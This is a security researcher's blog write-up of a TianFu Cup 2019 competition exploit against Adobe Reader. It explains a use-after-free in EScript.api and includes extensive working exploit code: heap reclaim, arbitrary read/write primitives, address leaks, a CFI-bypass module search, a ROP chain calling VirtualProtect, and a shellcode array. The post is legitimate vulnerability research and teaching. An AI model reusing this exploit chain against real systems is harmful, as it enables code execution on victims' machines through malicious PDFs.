TianFu Cup 2019: Adobe Reader Exploitation

Last year, I participated in the TianFu Cup competition in Chengdu, China. The chosen target was the Adobe Reader. This post will detail a use-after-free bug of JSObject. My exploit is not clean and not an optimal solution. I have finished this exploit through lots of trial and error. It involves lots of heap shaping code which I no longer remember exactly why they are there. I would highly suggest that you read the full exploit code and do the debugging yourself if necessary. This blog post was written based on a Windows 10 host with Adobe Reader.


The vulnerability is located in the EScript.api component which is the binding layer for various JS API call.

First I create an array of Sound object.

SOUND_SZ 	= 512
for(var i=0; i<512; i++) {
	SOUNDS[i] = this.getSound(i)

This is what a Sound object looks like in memory. The 2nd dword is a pointer to a JSObject which has elements, slots, shape, fields … etc. The 4th dword is string indicate the object’s type. I’m not sure which version of Spidermonkey that Adobe Reader is using. At first I thought this is a NativeObject but its field doesn’t seem to match Spidermonkey’s source code. If you know what this structure is or have a question, please contact me via Twitter.

0:000> dd @eax
088445d8  08479bb0 0c8299e8 00000000 085d41f0
088445e8  0e262b80 0e262f38 00000000 00000000
088445f8  0e2630d0 00000000 00000000 00000000
08844608  00000000 5b8c4400 6d6f4400 00000000
08844618  00000000 00000000

0:000> !heap -p -a @eax
    address 088445d8 found in
    _HEAP @ 4f60000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        088445d0 000a 0000  [00]   088445d8    00048 - (busy)
0:000> da 085d41f0
085d41f0  "Sound"

This 0x48 memory region and its fields are what is going to be freed and reused. Since AdobeReader.exe is a 32bit binary, I can heap spray and know exactly where my controlled data is in memory then I can overwrite this whole memory region with my controlled data and try to find a way to control PC. I failed because

  1. I don’t really know what all these fields are.
  2. I don’t have a memory leak.
  3. Adobe has CFI.

So I turn my attention to the JSObject (2nd dword) instead. Also being able to fake a JSObject is a very powerful primitive. Unfortunately the 2nd dword is not on the heap. It is in a memory region which is VirtualAlloced when Adobe Reader starts. One important point to notice is the memory content is not cleared after they are freed.

0:000> !address 0c8299e8
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  <unknown>
Base Address:           0c800000
End Address:            0c900000
Region Size:            00100000 (   1.000 MB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        0c800000
Allocation Protect:     00000004          PAGE_READWRITE

Content source: 1 (target), length: d6618

I realized that ESObjectCreateArrayFromESVals and ESObjectCreate also allocates into this area. I used the currentValueIndices function to call ESObjectCreateArrayFromESVals:

/* prepare array elements buffer */
f = this.addField("f" , "listbox", 0, [0,0,0,0]);
t = Array(32)
for(var i=0; i<32; i++) t[i] = i
f.multipleSelection = 1
f.currentValueIndices = t
// every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array.
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices

Looking at ESObjectCreateArrayFromESVals return value, we can see that our JSObject 0d2ad1f0 is not on the heap but its elements buffer at 08c621e8 are. The ffffff81 is tag for number, just as we have ffffff85 for string and ffffff87 for object.

0:000> dd @eax
0da91b00  088dfd50 0d2ad1f0 00000001 00000000
0da91b10  00000000 00000000 00000000 00000000
0da91b20  00000000 00000000 00000000 00000000
0da91b30  00000000 00000000 00000000 00000000
0da91b40  00000000 00000000 5b9868c6 88018800
0da91b50  0dbd61d8 537d56f8 00000014 0dbeb41c
0da91b60  0dbd61d8 00000030 089dfbdc 00000001
0da91b70  00000000 00000003 00000000 00000003
0:000> !heap -p -a 0da91b00
    address 0da91b00 found in
    _HEAP @ 5570000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0da91af8 000a 0000  [00]   0da91b00    00048 - (busy)
0:000> dd 0d2ad1f0
0d2ad1f0  0d2883e8 0d225ac0 00000000 08c621e8
0d2ad200  0da91b00 00000000 00000000 00000000
0d2ad210  00000000 00000020 0d227130 0d2250c0
0d2ad220  00000000 553124f8 0da8dfa0 00000000
0d2ad230  00c10003 0d27d180 0d237258 00000000
0d2ad240  0d227130 0d2250c0 00000000 553124f8
0d2ad250  0da8dcd0 00000000 00c10001 0d27d200
0d2ad260  0d237258 00000000 0d227130 0d2250c0
0:000> dd 08c621e8
08c621e8  00000000 ffffff81 00000001 ffffff81
08c621f8  00000002 ffffff81 00000003 ffffff81
08c62208  00000004 ffffff81 00000005 ffffff81
08c62218  00000006 ffffff81 00000007 ffffff81
08c62228  00000008 ffffff81 00000009 ffffff81
08c62238  0000000a ffffff81 0000000b ffffff81
08c62248  0000000c ffffff81 0000000d ffffff81
08c62258  0000000e ffffff81 0000000f ffffff81

0:000> dd 08c621e8
08c621e8  00000000 ffffff81 00000001 ffffff81
08c621f8  00000002 ffffff81 00000003 ffffff81
08c62208  00000004 ffffff81 00000005 ffffff81
08c62218  00000006 ffffff81 00000007 ffffff81
08c62228  00000008 ffffff81 00000009 ffffff81
08c62238  0000000a ffffff81 0000000b ffffff81
08c62248  0000000c ffffff81 0000000d ffffff81
08c62258  0000000e ffffff81 0000000f ffffff81
0:000> !heap -p -a 08c621e8
    address 08c621e8 found in
    _HEAP @ 5570000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        08c621d0 0023 0000  [00]   08c621d8    00110 - (busy)

So our goal now is to overwrite this elements buffer to inject a fake Javascript object. This is my plan at this point:

  1. Free Sound objects.
  2. Try to allocate dense arrays into the freed Sound objects location using currentValueIndices.
  3. Free the dense arrays.
  4. Try to allocate into the freed elements buffers
  5. Inject fake Javascript object

The code below iterates through the SOUNDS array to free its elements and uses currentValueIndices to reclaim them:

/* free and reclaim sound object */
RECLAIM_SZ 		= 512
THRESHOLD_SZ 	= 1024*6
NTRY 			= 3
NOBJ 			= 8 //18
for(var i=0; i<NOBJ; i++) {
	SOUNDS[i] = null //free one sound object

	for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
	try {
        //if the reclaim succeed `this.getSound` return an array instead and its first element should be 0
		 if (this.getSound(i)[0] == 0) {
		 	RECLAIMS[i] = this.getSound(i)
		} else {
			console.println('RECLAIM SOUND OBJECT FAILED: '+i)
			throw ''
	catch (err) {
		console.println('RECLAIM SOUND OBJECT FAILED: '+i)
		throw ''

Next, we will free all the dense arrays and try to allocate back into its elements buffer using TypedArray. I put faked integers with 0x33441122 at the start of the array to check if the reclaim succeeded. The corrupted array with our controlled elements buffer is then put into variable T:

/* free all allocated array objects */
RECLAIMS 	= null
f 			= null
FENCES 		= null //free fence

for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
/* reclaim freed element buffer */
for(var i=0; i<FREE_110_SZ; i++) {
	FREES_110[i] = new Uint32Array(64)
	FREES_110[i][0] = 0x33441122
	FREES_110[i][1] = 0xffffff81
T = null
for(var j=0; j<8; j++) {
	try {
        // if the reclaim succeed the first element would be our injected number
		if (SOUNDS[j][0] == 0x33441122) {
			T = SOUNDS[j]
	} catch (err) {}
if (T==null) {
	console.println('RECLAIM element buffer FAILED')
	throw ''
} else console.println('RECLAIM element buffer SUCCEED')

From this point, we can put fake Javascript objects into our elements buffer and leak the address of objects assigned to it. The following code is used to find out which TypedArray is our fake elements buffer and leak its address.

/* create and leak the address of an array buffer */
WRITE_ARRAY = new Uint32Array(8)
T[1] = 0x11556611
for(var i=0; i<FREE_110_SZ; i++) {
	if (FREES_110[i][0] != 0x33441122) {
		FAKE_ELES = FREES_110[i]
		console.println('WRITE_ARRAY_ADDR: ' + WRITE_ARRAY_ADDR.toString(16))
	} else {
		FREES_110[i] = null

Arbitrary Read/Write Primitives

To achieve an abritrary read primitive I spray a bunch of fake string objects into the heap, then assign it into our elements buffer.

GUESS = 0x20000058 //0x20d00058 
/* spray fake strings */
for(var i=0x1100; i<0x1400; i++) {
	var dv = new DataView(SPRAY[i])
	dv.setUint32(0, 0x102, 		true) //string header
	dv.setUint32(4, GUESS+12, 	true) //string buffer, point here to leak back idx 0x20000064
	dv.setUint32(8, 0x1f, 		true) //string length
	dv.setUint32(12, i,			true) //index into SPRAY that is at 0x20000058
	delete dv

//app.alert("Create fake string done")
/* point one of our element to fake string */
FAKE_ELES[5] = 0xffffff85

/* create aar primitive */
SPRAY_IDX = s2h(T[2])
console.println('SPRAY_IDX: ' + SPRAY_IDX.toString(16))
function myread(addr) {
    //change fake string object's buffer to the address we want to read.
	DV.setUint32(4, addr, true)
	return s2h(T[2])

Similarly to achieve arbitrary write, I create a fake TypedArray. I simply copy WRITE_ARRAY contents and change its SharedArrayRawBuffer pointer.

/* create aaw primitive */
for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
FAKE_ELES[7] = 0xffffff87
function mywrite(addr, val) {
	DV.setUint32(96, addr, true)
	T[3][0] = val
//mywrite(0x200000C8, 0x1337)

Gaining Code Execution

With arbitrary read/write primitives, I can leak the base address of EScript.API in the TypedArray object’s header. Inside EScript.API there is a very convenient gadget to call VirtualAlloc.

//d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API
ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0    dq ? 
console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))

Next I leak the base of address of AcroForm.API and the address of a CTextField (0x60 in size) object. First allocate a bunch of CTextField object using addField then create a string object also with size 0x60, then leak the address of this string (MARK_ADDR). We can safely assume that these CTextField objects will lie behind our MARK_ADDR. Finally I walk the heap to look for CTextField::vftable.

/* leak .rdata:007A55BC ; const CTextField::`vftable' */
for(var i=0; i<32; i++) this.addField(i, "text", 0, [0,0,0,0]);
T[4] = STR_60.toLowerCase()
for(var i=32; i<64; i++) this.addField(i, "text", 0, [0,0,0,0]);
MARK_ADDR = myread(FAKE_ELES[8]+4)
console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
vftable = 0
while (1) {
	vftable = myread(MARK_ADDR)
	if ( ((vftable&0xFFFF)==0x55BC) && (((myread(MARK_ADDR+8)&0xff00ffff)>>>0)==0xc0000000)) break
console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))

/* leak acroform, icucnv58 base address */
ACROFORM_BASE = vftable-0x07A55BC
console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))

We can then overwrite CTextField object’s vftable to control PC.

Bypassing CFI

With CFI enabled, we cannot use ROP. I wrote a small script to look for any module that doesn’t have CFI enabled and is loaded at the time my exploit is running. I found icucnv58.dll.

import pefile
import os

for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'):
	for file in files:
		if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'):
			fpath = os.path.join(root, file)
				pe = pefile.PE(fpath, fast_load=1)
			except Exception as e:
				print (e)
				print ('error', file)
			if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0:
				print (file)

The icucnv58.dll base address can be leaked via Acroform.API. There is enough gadgets inside icucnv58.dll to perform a stack pivot and ROP.

//a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll`
r = myread(ACROFORM_BASE+0xBF2E2C)
ICU_BASE = myread(r+16)
console.println('ICU_BASE: ' + ICU_BASE.toString(16))

g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret

Last Step

Finally, we have everything we need to achieve full code execution. Write the shellcode into memory using the arbitrary write primitive then call VirtualProtect to enable execute permission. The full exploit code can be found at here if you are interested. As a result, the reliability of my UAF exploit can achieved a ~80% success rate. The exploitation takes about 3-5 seconds on average. If there are multiple retries required, the exploitation can take a bit more time.

/* copy CTextField vftable */
for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable

// // /* 1st rop chain */
mywrite(MARK_ADDR+4, g3)
mywrite(MARK_ADDR+8, GUESS+0xbc)

// // /* 2nd rop chain */
rop = [
myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
GUESS+0x120, //return address
GUESS+0x120, //buffer
0x1000, //sz
0x40, //new protect
GUESS-0x20//old protect
for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])

shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483,
            1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903,
            605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611,
            1018101719, 2425393296]
for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))

/* overwrite real vftable */
mywrite(MARK_ADDR, GUESS+64)

Finally with that exploit, we can spawn our Calc.

Want to participate in such cutting-edge research?

We are hiring!

Find Out More